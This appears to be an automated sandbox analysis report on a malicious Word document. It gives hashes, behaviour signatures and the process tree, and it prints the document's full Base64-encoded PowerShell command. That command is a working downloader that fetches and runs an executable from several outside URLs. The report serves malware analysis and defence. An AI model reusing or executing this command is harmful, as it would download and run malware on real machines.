Analysis

  • max time kernel
    60s
  • max time network
    39s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17-07-2020 18:23

General

  • Target

    46a1bc126658ca3de121d07c778420ffd99ddd9ce2271922902e888d8a038f99.doc

  • Size

    188KB

  • MD5

    d4a1b3cb3c3382875666f25a1050d2b3

  • SHA1

    a86cc878084f4b651c82bb4c89b3b97381c53775

  • SHA256

    46a1bc126658ca3de121d07c778420ffd99ddd9ce2271922902e888d8a038f99

  • SHA512

    6d54d63dd8531940817f947421391672892310718ac4a727465e00a8532cea3717cb5132bac47df20161b9f8c6c70163e35267fdf80aafafe92440eadc778f43

Score
10/10

Malware Config

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\46a1bc126658ca3de121d07c778420ffd99ddd9ce2271922902e888d8a038f99.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1492
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e LgAoACcASQBtAHAAJwArACcAbwAnACsAJwByAHQALQAnACsAJwBNACcAKwAnAG8AZAB1AGwAZQAnACkAIABCAEkAdABzAFQAUgBBAG4AcwBGAGUAUgA7ACQAZwBhAGkAdgB5AG8AZwBnAGkAZQBrAGQAbwBqAHgAYQB1AG0AbABvAGEAbQA9ACcAaAB0AHQAcABzADoALwAvAHIAYQBtAHUAawBhAGsAYQBvAG4AbABpAG4AZQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwB4AFMAegBtAFMAWABOAC8AKgBoAHQAdABwADoALwAvAHMAaAB1AGIAaABpAG4AZgBvAHcAYQB5AHMALgBjAG8AbQAvAHAALwBYAEUAYwBjADUAeAAxAHEAeAA3ADMALwAqAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAyAC4AYwB4AHkAdwAuAG4AZQB0AC8AaAB5AGUAaAB0ADMALwBhAFcAeQBiAGsAegBpAC8AKgBoAHQAdABwADoALwAvAHMAdQBzAHQAYQBpAG4AYQBiAGwAZQBhAG4AZABvAHIAZwBhAG4AaQBjAGcAYQByAG0AZQBuAHQAcwAuAGMAbwBtAC8AawBvAG0AZQBuAHQAYQByAHoALwBLAEgARgA2AHIAeQA5ADIANgA1ADcALwAqAGgAdAB0AHAAOgAvAC8AcwB0AGEAZwBpAG4AZwAuAGkAYwB1AHMAawBpAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBvADUAaABoAHIAagA4AHcAdgBmAHYAMwA3ADIANwAyADkALwAnAC4AIgBzAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHcAYQBpAGQAagBpAHIAawBlAGkAYwBoAGIAbwB1AHMAZgBvAGEAYgA9ACAAKABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgAiAEcAYABlAFQAVABgAGUATQBwAFAAQQBgAFQAaAAiACgAKQArACcAXABzAGUAeQB6AG8AdQBwAGgAZQBhAHQAaAAuAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHQAdQB1AHQAbABvAGUAYwBuAGEAdQBjAGcAdQB1AHQAdgBlAGkAZgAgAGkAbgAgACQAZwBhAGkAdgB5AG8AZwBnAGkAZQBrAGQAbwBqAHgAYQB1AG0AbABvAGEAbQApAHsAdAByAHkAewAmACgAJwBTAHQAYQByAHQALQBCACcAKwAnAGkAdABzAFQAcgAnACsAJwBhACcAKwAnAG4AcwBmAGUAcgAnACkAIAAtAFMAbwB1AHIAYwBlACAAJAB0AHUAdQB0AGwAbwBlAGMAbgBhAHUAYwBnAHUAdQB0AHYAZQBpAGYAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAdwBhAGkAZABqAGkAcgBrAGUAaQBjAGgAYgBvAHUAcwBmAG8AYQBiADsALgAoACcAUwAnACsAJwB0AGEAJwArACcAcgB0AC0AUAByAG8AJwArACcAYwBlAHMAcwAnACkAIAAkAHcAYQBpAGQAagBpAHIAawBlAGkAYwBoAGIAbwB1AHMAZgBvAGEAYgA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9AA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1768

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1492-2-0x0000000008BF0000-0x0000000008BF4000-memory.dmp

    Filesize

    16KB

  • memory/1492-4-0x000000000B260000-0x000000000B264000-memory.dmp

    Filesize

    16KB

  • memory/1492-5-0x000000000C2E0000-0x000000000C2E4000-memory.dmp

    Filesize

    16KB